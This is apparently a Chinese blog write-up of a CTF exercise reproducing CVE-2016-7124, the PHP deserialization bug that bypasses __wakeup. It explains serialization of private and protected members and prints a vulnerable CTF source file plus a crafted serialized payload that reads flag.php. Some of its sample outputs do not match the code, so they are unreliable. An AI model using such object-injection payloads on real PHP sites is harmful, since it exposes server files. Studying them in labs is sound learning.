PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现
前言
最近电脑也不知怎么了时不时断网而且我竟然找不出原因!!!很诡异.... 其他设备电脑都OK唯独我的电脑 时好时坏 我仿佛摸清了我电脑断网的时间段所以作息时间都改变了 今天12点多断网刷了会手机陪家人取超市 看到小区门口都挺严格的进出要身份证 去超市还要测体温。之后回来睡觉到6点起来家里做了火锅hhhhh 吃了之后继续学习序列化漏洞emmmm 等会又该睡觉了 一天又结束了!

预备知识
https://www.cnblogs.com/xhds/p/12233720.html PHP反序列化基础
序列化public private protect参数产生不同结果
Pubic 公有
Private 私有
Protect 保护
<?php
class test{
public $name = 'xiaohua';
private $address = 'shanxi';
protected $age = '21';
} $test1 = new test();
$object = serialize($test1);
print_r($object);
?>
序列化之后打印出:
O:4:"test":3:{s:4:"name";s:7:"xiaohua";s:9:"testsex";s:6:"secret";s:6:"*age";s:2:"20";}
Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protected属性序列化后的格式:%00*%00成员名
通过对网页抓取输出是这样的:
O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

(1) __construct():当对象创建时会自动调用(但在unserialize()时是不会自动调用的)。 (2) __wakeup() :unserialize()时会自动调用 (3) __destruct():当对象被销毁时会自动调用。 (4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 (5) __get() :当从不可访问的属性读取数据 (6) __call(): 在对象上下文中调用不可访问的方法时触发
CVE-2016-7124(绕过__wakeup)复现
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
<?php
//听说flag在flag.php里面??????
//来源:榆林学院信息安全协会CTF攻防训练平台
header("Content-Type: text/html; charset=utf-8");
error_reporting(0);
class sercet{
private $file='index.php';
// __construc 每次创建新对象时调用,所以__construct非常适合做初始化
public function __construct($file){
echo "_construct执行<br>";
$this->file=$file;
}
//析构函数会在对某个对象所有引用都被删除或者被显式销毁时执行
function __destruct(){
echo " __destruct执行<br>";
// echo show_source($this->file,true);
echo @highlight_file($this->file, true);
} //unserialize()先检查__wakeup是否存在,则会先调用__wakeup
function __wakeup(){
echo "__wakeup执行<br>";
$this->file='index.php';
}
} unserialize($_GET['val']);
我们分析这道CTF题,题目告知我们说flag好像在flag.php中 又看到页面爆出这个源码 我们来分析可以更改类里面的$file变量值通过__destruct()这个函数再去把当前类下的file变量用highlight_file()打印出来。所以我们来构造。先序列化
首先思考传入flag.php我们实例化一个对象new sercet("flag.php"); 传递给serialize()序列化 得出:
$obj =new sercet("flag.php");
$a=serialize($obj);
print_r($a);
序列化后的new sercet("flag.php");
O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
在传递的时候切记根据private的特性加上:%00:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
测试payload:
http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
我们注意观察 __wakeup这个函数执行了它里面的这段$this->file='index.php';代码直接将我们传递进去的flag.php替换成了index.php,之后再执行__destruct()他里面的highlight_file()将$file里面的源码高亮显示。这不是我们需要的效果我们的目标是饶过__wakeup

如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行
我们只需要把对象原来属性值比原来的大就行我们把1改成2
修改前:O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
修改后:O:6:"sercet":2:{s:12:"%00sercet%00file";s:8:"flag.php";}
测试payload:
http://127.0.0.1/test.php?val=O:6:"sercet":1:{s:12:"%00sercet%00file";s:8:"flag.php";}
这里我们看只执行了_destruc绕过了__wakeup所以我们成功读取了flag.PHP中的内容 获得了flag

PHP反序列化漏洞-CVE-2016-7124(绕过__wakeup)复现的更多相关文章
- WebLogic反序列化漏洞(CVE-2019-2725补丁绕过)
影响产品: Oracle WebLogic Server10.3.6.0.0 Oracle WebLogic Server12.1.3.0.0 影响组件: wls9_async_response.wa ...
- 【JNPF修改通告】fastjson≤1.2.80反序列化漏洞
近日Fastjson Develop Team 发现 fastjson 1.2.80及以下存在新的风险,存在反序列化漏洞.攻击者可绕过默认autoType关闭限制,攻击远程服务器,风险影响较大,请大家 ...
- php反序列化漏洞绕过魔术方法 __wakeup
0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}
先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...
- fastjson反序列化漏洞历史CVE学习整理
fastjson 1.2.24反序列化漏洞复现 先写一个正常的使用 fastjson的web服务 我们使用 springboot创建 主要是pom.xml 里面要添加fastjson fastjson ...
- 应用安全-软件安全-漏洞CVE整理
jira ssrf CVE-2019-8451 url = url + '/plugins/servlet/gadgets/makeRequest?url=' + host + '@www.baidu ...
- PHP反序列化漏洞研究
序列化 序列化说通俗点就是把一个对象变成可以传输的字符串 php serialize()函数 用于序列化对象或数组,并返回一个字符串.序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结 ...
- 浅谈php反序列化漏洞
关于php的反序列化漏洞要先说到序列化和反序列化的两个函数,即: serialize() 和unserialize(). 简单的理解: 序列化就是将一个对象变成字符串 反序列化是将字符串恢复成对象 这 ...
随机推荐
- 1.1 Python 概述
1.1 Python 概述 1.1.1 了解Python Python 是由荷兰人 Guido Van Rossum 发明的一种面向对象的解释型高级编程语言.Python的设计哲学为 优雅.明确和简单 ...
- Vue踩坑日记-You may use special comments to disable some warnings. Use // eslint-disable-next-line to ignore the next line. Use /* eslint-disable */ to ignore all warnings in a file.
记录时间:2019年4月24日16:55:54 在build/webpack.base.conf.js文件中,注释或者删除掉:module->rules中有关eslint的规则
- 分布式消息系统之Kafka集群部署
一.kafka简介 kafka是基于发布/订阅模式的一个分布式消息队列系统,用java语言研发,是ASF旗下的一个开源项目:类似的消息队列服务还有rabbitmq.activemq.zeromq:ka ...
- SLF4J :Failed to load class "org.slf4j.impl.StaticLoggerBinder".
错误提示 SLF4J: Failed to load class "org.slf4j.impl.StaticLoggerBinder". SLF4J: Defaulting to ...
- oracle索引失效情况(转)
1.隐式转换导致索引失效.这一点应当引起重视.也是开发中经常会犯的错误. 由于表的字段tu_mdn定义为varchar2(20),但在查询时把该字段作为number类型以where条件传给Orac ...
- C语言之 Switch和?:运算符的反汇编
Switch条件语句 通过上面一篇了解了条件语句的使用,接下来就直接进行反汇编学习 #include <stdio.h> void print() { int b = 1; switch ...
- drf 视图使用及源码分析
前言 drf视图的源码非常的绕,但是实现的功能却非常的神奇. 它能够帮你快速的解决ORM增删改查的重复代码,非常的方便好用. 下面是它源码中的一句话: class ViewSetMixin: &quo ...
- 【CF1443E】Long Permutation 题解(排列生成模板)
原题链接 题意简介 给定一个长度为 n 的排列 {1,2,3,...,n} .现有两种操作: 对某个区间 [l,r] 求和 将排列往后推 x 次 (按字典序) 其中 \(n,q \leq 2\time ...
- 微信小程序获取高宽uniapp
代码片段 <template> <view> <view class="text" id="w">补充文字</view ...
- 简单Emacs配置
(global-set-key [f9] 'compile-file) (global-set-key [f10] 'gud-gdb) (global-set-key (kbd "C-s&q ...